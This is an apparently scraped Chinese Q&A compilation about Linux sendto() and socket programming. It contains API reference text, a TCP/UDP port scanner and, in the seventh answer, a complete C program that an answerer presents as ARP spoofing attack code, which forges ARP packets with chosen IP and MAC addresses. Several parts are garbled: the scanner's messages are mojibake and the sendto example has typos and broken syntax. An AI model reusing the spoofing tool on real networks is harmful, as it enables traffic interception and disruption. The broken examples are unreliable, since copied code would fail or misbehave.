導航:首頁 > 編程系統 > linuxsendto源碼

linuxsendto源碼

發布時間:2023-05-25 22:26:13

1. linux下udp套接字sendto函數錯誤

希望能夠多貼一些代碼出來,幫助分析。
1.檢查一下sendto的參數,其中的指針參數是否初始化正確?
2.請檢查一下recvfrom的函數聲明,第6個參數的原型。

2. linux 網路編程 sendto 問題

sendto(經socket傳送數據)
相關函數 send , sendmsg,recv , recvfrom , socket

表頭文件 #include < sys/types.h >
#include < sys/socket.h >

定義函數 int sendto ( int s , const void * msg, int len, unsigned int flags, const
struct sockaddr * to , int tolen ) ;

函數說明 sendto() 用來將數據由指定的socket傳給對方主機。參數s為已建好連線的socket,如果利用UDP協議則不需經過連線操作。參數msg指向欲連線的數據內容,參數flags 一般設0,詳細描述請參考send()。參數to用來指定欲傳送的網路地址,結構sockaddr請參考bind()。參數tolen為sockaddr的結果長度。

返回值 成功則返回實際傳送出去的字元數,失敗返回-1,錯誤原因存於errno 中。

錯誤代碼 EBADF 參數s非法的socket處理代碼。
EFAULT 參數中有一指針指向無法存取的內存空間。
WNOTSOCK canshu s為一文件描述詞,非socket。
EINTR 被信號所中斷。
EAGAIN 此動作會令進程阻斷,但參數s的soket為補課阻斷的。
ENOBUFS 系統的緩沖內存不足。
EINVAL 傳給系統調用的參數不正確。

範例 #include < sys/types.h >
#include < sys/socket.h >
# include <netinet.in.h>
#include <arpa.inet.h>
#define PORT 2345 /*使用的port*/
main(){
int sockfd,len;
struct sockaddr_in addr;
char buffer[256];
/*建立socket*/
if(sockfd=socket (AF_INET,SOCK_DGRAM,0))<0){
perror (「socket」);
exit(1);
}
/*填寫sockaddr_in 結構*/
bzero ( &addr, sizeof(addr) );
addr.sin_family=AF_INET;
addr.sin_port=htons(PORT);
addr.sin_addr=hton1(INADDR_ANY) ;
if (bind(sockfd, &addr, sizeof(addr))<0){
perror(「connect」);
exit(1);
}
while(1){
bezro(buffer,sizeof(buffer));
len = recvfrom(socket,buffer,sizeof(buffer), 0 , &addr &addr_len);
/*顯示client端的網路地址*/
printf(「receive from %s\n 「 , inet_ntoa( addr.sin_addr));
/*將字串返回給client端*/
sendto(sockfd,buffer,len,0,&addr,addr_len);」
}
}

3. 100分求linux下C語言埠掃描代碼

linux tcp udp 埠掃描源程序
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <errno.h>
#include <netdb.h>
#include <stdio.h>
#include <string.h>
#include <netinet/ip_icmp.h>
#include <stdlib.h>
#include <signal.h>
#include <libxml/parser.h>
#include <libxml/tree.h>
#define TRUE 1
#define FALSE 0
#define UDP "UDP"
#define TCP "TCP"
#define tcp "tcp"
#define udp "udp"
typedef struct _GsSockStru{

int fd;
int len;

struct sockaddr_in addr;

}GsSockStru;

static int tcptest( char ip[32], char port[20]);
static int udptest( char ip[32], char port[20]);
void sig_alrm( int signo );

static GsSockStru test_sock;
int
main( int argc, char** argv)
{
char string[64];
char port[20];
char pro[20];
char ip[32];
int res;
int i = 0;
int k = 0;

if( argc>2 || argc<2 )
{
printf("鍙傛暟涓嶆紜?-1\n");
return ( -1 );
}

strcpy( string, argv[1]);

while( *string )
{
if( string[i] == ':' )
break;
pro[k] = string[i];
k++;
i++;
}
pro[k] = '\0';
i++;
k = 0;
while( *string )
{
if( string[i] == ':')
break;
ip[k] = string[i];
k++;
i++;
}
ip[k] = '\0';
i++;
k=0;
while( *string )
{
if( string[i] == '\0')
break;
port[k] = string[i];
k++;
i++;
}
port[k] = '\0';
i++;

memset( &test_sock, 0, sizeof( test_sock ) );
if ( ( strcmp( TCP, pro) != 0 ) && ( strcmp( UDP, pro) != 0 ) && ( strcmp( tcp, pro) != 0 ) && ( strcmp( udp, pro) != 0 ))
{
printf ( "鍙傛暟涓嶆紜?錛?\n" );
return (-1);
}
if ( strcmp( TCP, pro) == 0 || strcmp( tcp, pro) == 0 )
res = tcptest( ip, port );
if ( strcmp( UDP, pro) == 0 || strcmp( udp, pro) == 0 )
res = udptest( ip, port );printf("%d\n",res);
return ( res );
}
int
tcptest( char ip[32], char port[20])
{
int res;
struct timeval tv;

test_sock.fd = socket( AF_INET, SOCK_STREAM, 0 );
if ( test_sock.fd < 0 )
{
printf( "create socket failed -3 \n" );
return ( -3 );
}
memset( &( test_sock.addr ), 0, sizeof( test_sock.addr ) );

test_sock.addr.sin_family = AF_INET;
test_sock.addr.sin_port = htons( atoi( port ) );
inet_pton( AF_INET, ip, &test_sock.addr.sin_addr );
test_sock.len = sizeof( struct sockaddr );
tv.tv_sec = 10;
tv.tv_usec = 0;
setsockopt( test_sock.fd, SOL_SOCKET, SO_RCVTIMEO,
(const char *)&tv, sizeof( tv ) );
res = connect( test_sock.fd,
( struct sockaddr * )( &( test_sock.addr ) ),
test_sock.len );
if ( res < 0 )
{
fprintf( stderr, "connect failed 0\n" );
close( test_sock.fd );
return FALSE;
}
close( test_sock.fd );
return TRUE;
}
int udptest( char ip[32], char port[20])
{
struct icmphdr *icmp_header;
struct sockaddr_in target_info;
int target_info_len;
fd_set read_fd;
int scan_port;
char recvbuf[5000];
struct sockaddr_in target_addr;
int icmp_socket;
int udp_socket;
struct timeval tv;

icmp_header = (struct icmphdr *)(recvbuf+sizeof(struct iphdr));
scan_port = atoi( port );
target_addr.sin_family = AF_INET;
inet_pton( AF_INET, ip, &target_addr.sin_addr );
target_addr.sin_port = htons(scan_port);

if ((udp_socket=socket(AF_INET,SOCK_DGRAM,0))==-1)
{
printf("create socket failed -3\n");
return -3;
}
if ((icmp_socket=socket(AF_INET,SOCK_RAW,IPPROTO_ICMP))==-1)
{
printf("Create raw socket failed -3\n");
return -3;
}

sendto(udp_socket,NULL,0,0,(void *)&target_addr,sizeof(target_addr));
FD_ZERO(&read_fd);
FD_SET(icmp_socket,&read_fd);

tv.tv_sec = 1;
tv.tv_usec = 0;
select(FD_SETSIZE,&read_fd,NULL,NULL,&tv);
for (;;){
if (FD_ISSET(icmp_socket,&read_fd))
{
target_info_len = sizeof(target_info);
recvfrom(icmp_socket,recvbuf,5000,0,
(struct sockaddr *)&target_info,&target_info_len);
if (target_info.sin_addr.s_addr == target_addr.sin_addr.s_addr
&& icmp_header->type == 3 && icmp_header->code<=12)
{
printf("Port %d : Close\n",scan_port);
return (0);
}
}
return (1) ;
}
}

4. send的Linux C 函數

經套接字傳送消息
相關函數
sendto,sendmsg,recv,recvfrom,recvmsg,socket
表頭文件
#include < sys/socket.h >
定義函數
ssize_t send (int s,const void *msg,size_t len,int flags);
參數說明
第一個參數指定發送端套接字描述符;
第二個參數指明一個存放應用程式要發送數據的緩沖區;
第三個參數指明實際要發送的數據的字元數;
第四個參數一般置0。
函數說明
send() 用來將數據由指定的 socket 傳給對方主機。使用 send 時套接字必須已經連接。send 不包含傳送失敗的提示信息,如果檢測到本地錯誤將返回-1。因此,如果send 成功返回,並不必然表示連接另一端的進程接收數據。所保證的僅是當send 成功返回時,數據已經無錯誤地發送到網路上。
對於支持為報文設限的協議,如果單個報文超過協議所支持的最大尺寸,send 失敗並將 errno 設為 EMSGSIZE ;對於位元組流協議,send 會阻塞直到整個數據被傳輸。
flags 參數有如下的選擇:
MSG_DONTROUTE 勿將數據路由出本地網路
MSG_DONTWAIT 允許非阻塞操作(等價於使用O_NONBLOCK)
MSG_EOR 如果協議支持,此為記錄結束
MSG_OOB 如果協議支持,發送帶外數據
MSG_NOSIGNAL 禁止向系統發送異常信息
返回值
成功則返回實際傳送出去的字元數,失敗返回-1,錯誤原因存於errno 中。
錯誤代碼
EBADF 參數 s 非法的 socket 處理代碼。
EFAULT 參數中有一指針指向無法存取的內存空間。
WNOTSOCK 參數 s 為一文件描述詞,非 socket。
EINTR 被信號所中斷。
EAGAIN 此動作會令進程阻斷,但參數 s 的 socket 為不可阻斷的。
ENOBUFS 系統的緩沖內存不足。
EINVAL 傳給系統調用的參數不正確。

5. linux發送socket報文

使用sendto函數。
linux發送socket報搜肢文使用UDP協議發送報文,首先創建褲仿一個socket,然後設置伺服器的IP地址和埠號,最後使用sendto函數發送報文。
Linux全稱是GNU/Linux,是一種免費使用和自由胡漏纖傳播的類UNIX操作系統。

6. linux中sendto的源代碼怎麼找

一般在Linux系統中的/usr/src/linux*.*.*(*.*.*代表的是內核版本,如2.4.23)目錄下就是內核源代碼(如果沒有類似目錄,是因為還沒安裝內核代碼)。另外還可從互連網上免費下載。注意,不要總到http://www.kernel.org/去下載,最好使用它的鏡像...

7. Linux C編程, 如何仿造ip、mac地址發送報文呢 是利用ARP協議漏洞嗎有沒有源代碼借鑒下~~

一個arp欺騙攻擊的代碼如下:
/*
This program sends out ARP packet(s) with source/target IP
and Ethernet hardware addresses supplied by the user.
*/

#include <stdlib.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdio.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <signal.h>
#include <netinet/ip.h>
#include <netinet/in.h>
#include <string.h>
#include <arpa/inet.h>
#include <netinet/ip_icmp.h>
#include <linux/if_ether.h>

#define ETH_HW_ADDR_LEN 6
#define IP_ADDR_LEN 4
#define ARP_FRAME_TYPE 0x0806
#define ETHER_HW_TYPE 1
#define IP_PROTO_TYPE 0x0800
#define OP_ARP_REQUEST 2
#define OP_ARP_QUEST 1
#define DEFAULT_DEVICE "eth0"
char usage[] = {"send_arp: sends out custom ARP packet. \n"
"usage: send_arp src_ip_addr src_hw_addr targ_ip_addr tar_hw_addr number"};

struct arp_packet
{
u_char targ_hw_addr[ETH_HW_ADDR_LEN];
u_char src_hw_addr[ETH_HW_ADDR_LEN];
u_short frame_type;
u_short hw_type;
u_short prot_type;
u_char hw_addr_size;
u_char prot_addr_size;
u_short op;
u_char sndr_hw_addr[ETH_HW_ADDR_LEN];
u_char sndr_ip_addr[IP_ADDR_LEN];
u_char rcpt_hw_addr[ETH_HW_ADDR_LEN];
u_char rcpt_ip_addr[IP_ADDR_LEN];
u_char padding[18];
};

void die (char *);
void get_ip_addr (struct in_addr *, char *);
void get_hw_addr (char *, char *);

int main (int argc, char * argv[])
{
struct in_addr src_in_addr, targ_in_addr;
struct arp_packet pkt;
struct sockaddr sa;
int sock;
int j,number;
if (argc != 6)
die(usage);

sock = socket(AF_INET, SOCK_PACKET, htons(ETH_P_RARP));
if (sock < 0)
{
perror("socket");
exit(1);
}

number = atoi(argv[5]);

pkt.frame_type = htons(ARP_FRAME_TYPE);
pkt.hw_type = htons(ETHER_HW_TYPE);
pkt.prot_type = htons(IP_PROTO_TYPE);
pkt.hw_addr_size = ETH_HW_ADDR_LEN;
pkt.prot_addr_size = IP_ADDR_LEN;
pkt.op = htons(OP_ARP_QUEST);
get_hw_addr(pkt.targ_hw_addr, argv[4]);
get_hw_addr(pkt.rcpt_hw_addr, argv[4]);
get_hw_addr(pkt.src_hw_addr, argv[2]);
get_hw_addr(pkt.sndr_hw_addr, argv[2]);
get_ip_addr(&src_in_addr, argv[1]);
get_ip_addr(&targ_in_addr, argv[3]);
memcpy(pkt.sndr_ip_addr, &src_in_addr, IP_ADDR_LEN);
memcpy(pkt.rcpt_ip_addr, &targ_in_addr, IP_ADDR_LEN);
bzero(pkt.padding,18);
strcpy(sa.sa_data, DEFAULT_DEVICE);
for (j = 0; j < number; j++)
{
if (sendto(sock,&pkt,sizeof(pkt),0,&sa,sizeof(sa)) < 0)
{
perror("sendto");
exit(1);
}
}
exit(0);
}

void die (char *str)
{
fprintf(stderr,"%s\n",str);
exit(1);
}

void get_ip_addr(struct in_addr *in_addr, char *str)
{
struct hostent *hostp;
in_addr->s_addr = inet_addr(str);
if(in_addr->s_addr == -1)
{
if ((hostp = gethostbyname(str)))
b(hostp->h_addr, in_addr, hostp->h_length);
else {
fprintf(stderr, "send_arp: unknown host %s\n", str);
exit(1);
}
}
}

void get_hw_addr (char *buf, char *str)
{
int i;
char c, val;
for(i = 0; i < ETH_HW_ADDR_LEN; i++)
{
if (!(c = tolower(*str++)))
die("Invalid hardware address");
if (isdigit(c))
val = c - '0';
else if (c >= 'a' && c <= 'f')
val = c-'a'+10;
else
die("Invalid hardware address");
*buf = val << 4;
if (!(c = tolower(*str++)))
die("Invalid hardware address");
if (isdigit(c))
val = c - '0';
else if (c >= 'a' && c <= 'f')
val = c-'a'+10;
else
die("Invalid hardware address");
*buf++ |= val;
if (*str == ':')
str++;
}
}

8. linux Ubuntu 中,寫了一個簡單的UDP協議,只用了sendto 與recvfrom ,出錯了

在網路的編輯選項裡面有可以寫代碼的,最起碼代碼格式整齊,容易閱讀。版

客戶端的權serv_addr.sin_addr.s_addr=INADDR_ANY這里使用伺服器的固定地址試試。廣播模式這個地址好像是用255.255.255.0的(區域網下)。

閱讀全文

與linuxsendto源碼相關的資料

熱點內容
蘋果手機小風扇圖app叫什麼 瀏覽:292
繁體中文輸入工具 瀏覽:916
pc桌面壁紙文件夾 瀏覽:473
微信怎麼添加群 瀏覽:781
40歲男人適合的微信名 瀏覽:925
編程里比例怎麼打 瀏覽:215
蘋果12兩個app如何分屏 瀏覽:592
ps下載完不是壓縮文件 瀏覽:362
電腦中的個人文件包括什麼 瀏覽:572
網路連接一般什麼密碼 瀏覽:199
java定時器quartz實例 瀏覽:259
稻殼excel文件太大怎麼弄 瀏覽:901
文件里的視頻如何保存到相冊 瀏覽:428
手機百度雲文件電腦 瀏覽:957
編程怎麼做到時鍾精準 瀏覽:912
錘子用過的壁紙在哪個文件里 瀏覽:468
qq網站安全性未知訪問不了怎麼辦 瀏覽:270
燕秀怎麼修改編程人名字 瀏覽:789
2012年天之眼導航升級 瀏覽:595
如何安裝視頻文件 瀏覽:315

友情鏈接